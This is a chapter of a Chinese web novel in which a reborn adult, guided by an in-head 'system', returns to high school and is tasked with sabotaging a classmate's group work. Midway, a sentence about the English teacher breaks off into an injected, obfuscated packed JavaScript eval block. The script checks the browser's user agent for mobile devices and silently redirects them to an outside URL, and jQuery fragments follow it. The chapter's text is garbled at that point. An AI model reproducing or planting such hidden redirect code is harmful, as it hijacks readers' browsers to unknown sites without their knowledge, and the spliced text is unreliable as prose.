磨磨蹭蹭的吃完早饭后已经是6:30,徐祁霁利落地收拾好书包准备上学。
“天气预报说今天会下雨,记得带伞!”老妈一边收拾碗筷一边叮嘱道。
“知道啦。”
徐祁霁病恹恹地回应道,顺手拿起放在玄关上的花伞,又开始了冤种般的走路生活。
紫藤家园虽然是个学区房,但并不是南漳一中的学区房,自从上班后徐祁霁就再没体验过citywalk,现在重拾起来颇有种破罐破摔的嗝屁感。
或许有的人会说,为什么不搭乘交通工具呢,统共也就一两块钱,又不贵。
问到点子上了。
因为紫藤花园的地理位置非常奇葩,它到学校只有一个半站的距离,但由于校区和住区内蜿蜒复杂,这一个半站的马路距离仅占总路程的三分之一,于是搭公交就便利了个寂寞,时间和金钱总要抓紧一个。
也就是每天两个小时的通勤时间而已,区区两个小时,简直轻轻松松。
【宿主……今天去上学吗?】客服在消停了一个晚上后,默默探出了头。
徐祁霁:去,怎么不去。
客服笑笑颇有一种自家小孩终于开始上心正事的自豪感,叽叽喳喳地开始弹射电子弹幕。
【那宿主快趁热打铁,开启第四个任务吧!】
徐祁霁:讲。
【捣乱楚岿然的小组作业】
……徐祁霁也是习惯了,没觉得有什么怪异的地方,甚至任务不怪异的话徐祁霁反而会觉得开始怪异了,于是她沉默地点头,又问。
“你们客服,除了颁布任务,还有什么其他的功能吗?”
【比如?】
比如,有没有什么权限查到楚岿然的家庭信息。
之前她去邮局联系过一个私家侦探,不到一个晚上,接取委托的侦探就单方面停止合约了,还警告徐祁霁趁早收手。
在现在这个社会,个人信息能完全保密查不到一星半点的,通常都有点意味深长了。
既然网络措施实施不了,那总得试试这个系统外挂,说不定能找到方法呢。
【有关目标人物的具体信息吗,理论上是可以的,但是我现在的力量太弱了,攻略人物那一栏解锁度很低】
怎样才能让你的力量变强?
【努力刷取好感度!刷到999,称霸南漳不用愁!】
徐祁霁:……
爸的,又是好感度,有这闲心搞攻略,她徐祁霁还不如找正主套话呢。
刚到达座位,元气满满的甜妹打招呼声就炸进徐祁霁的耳朵里:“徐祁霁同学,你终于来学校了!”
徐祁霁抬眼一看,来人脸有点圆圆,但很可爱,眼睛很大,青春靓丽的模样跟徐祁霁这个多年社畜咸鱼尸体模样形成了鲜明对比,不过看到甜妹就好像使用了淡斑精华,徐祁霁很是舒心,于是矜持地点点头。
在甜妹面前还是要注意形象的。
不过……她叫、叫什么来着。
“薛荣,我叫薛荣!”甜妹善解人意地补充,两人进行了一个充分友好的握手交流,“前几天你不在,班上组织了班干评选。”
这个她倒是有所耳闻。
“然后我是学委,楚岿然是班长。”
“原来是薛学委,久仰久仰!”徐祁霁恭维老板的职业病犯了,突然高涨的情绪和再一次迷惑的握手交流把薛荣搞得摸不着脑袋。
“你还挺有意思的。”薛荣笑着把手抽了出来,“还有个事要跟你说一下,军训提前结束了,然后课多上了两天,胡老师,也就是英语老师说要组一个英语小组。”
“等会儿?军训提前结束了?”徐祁霁除了交假条的时候来过学校,其他时间都在网吧搞钱,她说为啥最近都没在操场上看见那群迷彩团伙呢。
前桌一短毛小伙扭头加入了谈话:“没错,高二那群学长学姐都在骂呢,说咱们这届运气好。”
“也不看看今天天气,据说要开始大暴雨了,哝,窗外已经开始下了。”
透明的玻璃窗上溅上雨滴,乌云堆积,雨愈下愈大。
徐祁霁想起来了,这场特大暴雨,持续了一个月。
“回神回神!”薛荣打了个响指,继续说,“大部分的人在昨天就已经组完队了,你是南漳初中部直升上来的吗,还是其他学校来的?我的意思其实就是你在这个班里有认识的人吗,如果有的话可以找熟人进组。”
“……我是实验过来的。”徐祁霁哽住了,目前高一九班的所有人,对她来说都是一个薛定谔的熟与不熟关系,要说不熟吧,毕竟是一起同窗的同班同学,要说熟吧,也确确实实隔了十年光阴,薛荣的问题让她一时之间不知道怎么回答,于是回了个隔壁学校。
“实验的啊,实验好像基本上都在八班。等等,好像楚岿然以前也是实验的!”薛荣撑着下巴仔细思考。
只是这突然的灵光一现很快就萎靡下去,薛荣可惜地讲:“不过楚岿然的组好像很受欢迎,老师没公布这个政策的时候就已经满员了。”
徐祁霁:客服,你说这个任务里的“小组”两字,应该不是特指这个英语小组吧。
【其实不是……但是就凭宿主现在的寿命,现阶段的小组只有这一个……】
徐祁霁:(核善的微笑)
不知道发生了什么事,闹哄哄中夹杂着一些窸窸窣窣讲话声音的早读声音突然大了起来。
“胡萝卜丝来了!”前排摸鱼的短发小伙突然冒了一句。
徐祁霁:嗯?什么胡萝卜?嘶,好像是胡莲心的绰号来着。
“因为胡老师很喜欢穿一件361度的橙色条纹衫,所以好多人都叫她胡萝卜丝儿。”薛荣小声补充。
徐祁霁这才了然,不过只是喜欢穿橙色衣服而已嘛,这没什么,可一看到胡莲心,十年前的记忆与现在的场面重合,她果然还是没崩住笑出了声。
“你,靠窗那个,在笑什么?”
在南漳教师里有这样一个传说,如果说把胡莲心的小眼睛比作一把尺,那这把尺子的长度就有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380995|168478||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
整个教室那么长。说人话也就是如果胡莲心的视力称第二,那么整个南漳教师组没人敢称第一。
徐祁霁立马开始哇啦哇啦大声朗读英语单词,装好学生模样企图蒙混过关,但显然……失败了。
“现在找补有什么用,早自习不好好读书,一张脸笑烂了怕不是又在搞什么鬼东西。”胡莲心怒气冲冲,其实也不算怒气冲冲,因为好像她一年四季都是这样情绪激动,眼睛里闪着精锐的寒光。
徐祁霁眼观鼻鼻观心,一脸义正言辞:“老师,我只是天生微笑脸而已。”
前排小伙也蚌埠住了,笑出了声,然后荣获胡莲心一个爆栗。
原来胡老师看在她是女生的份上还是有手下留情的……胡女士大义!
“微笑脸是吧,那你上去带着大家朗读第一小节的单词。”
区区高一词汇,她徐祁霁轻松拿下。
抱着这样的心态,徐祁霁大步流星走上台前,笑话,如果是以前她可能还会社恐站在讲台上语焉不详、扭扭捏捏、眼神闪躲,可现在不一样了,她徐祁霁可是出入社会在HR面前自我介绍倒背如流的打工人,区区面对五十位莘莘学子——
埋首专注于背单词的少年缓慢抬起了头,一双清澈的含情眼此时被一副铅灰色窄边眼镜遮住一部分,镜光也不知是怎么移动的,偏生反射到了徐祁霁的眼里,徐祁霁眼神一晃,就跟瞎了没什么区别,刚要脱出口的标准英音一下子变成了磕绊方言。
一股压抑却又实在听不出来是压抑的笑声隐秘地鼓动在人群之中。
靠,什么人生社死场面。
徐祁霁顿时不敢把目光远离书本,硬着头皮继续念下去,好在后面的英音足够完美,姑且算是挽回了一点尊严,但显然那句方言永久地停留在了群众的心中。
“嗯,后面读得倒是可以,行了,下去吧。”胡莲心放话,徐祁霁如蒙大赦,回到了座位上。
好在胡莲心又开始吸引火力,早晨的一点社死小闹剧又瞬间消失在群众的心中:“你说说你们,我从西边走到东边,整层楼里的早读声音,就数你们九班的最小,声呢,肚子里都没吃饱饭吗?”
“一天天数学倒是做得挺有劲,英语呢,英语就不管了?”胡莲心不仅站在讲台上数落,还动员到了群众之中,开始在过道里进行三百六十度无死角循环输出,“让你们组个小组,半天都组不起来,行动力这么弱的?还是说只是对英语这科行动力弱啊!”
“课代表!小组名单给我一下,我倒要看看你们怎么分的人,分了一天这么久。”
“胡老师,这是名单。”
一张叠得整整齐齐的人员名单由识青交给了胡莲心,胡莲心清了清嗓,一个一个念了出来。
致命,这跟公开处刑有什么区别。
而且她刚来还没找识青说自己到底分在哪个英语小组啊!
“第一组,组长,楚岿然。”
“小组成员:龚嘉木、田齐瑞、于胜、徐祁霁。”
等等……徐祁霁?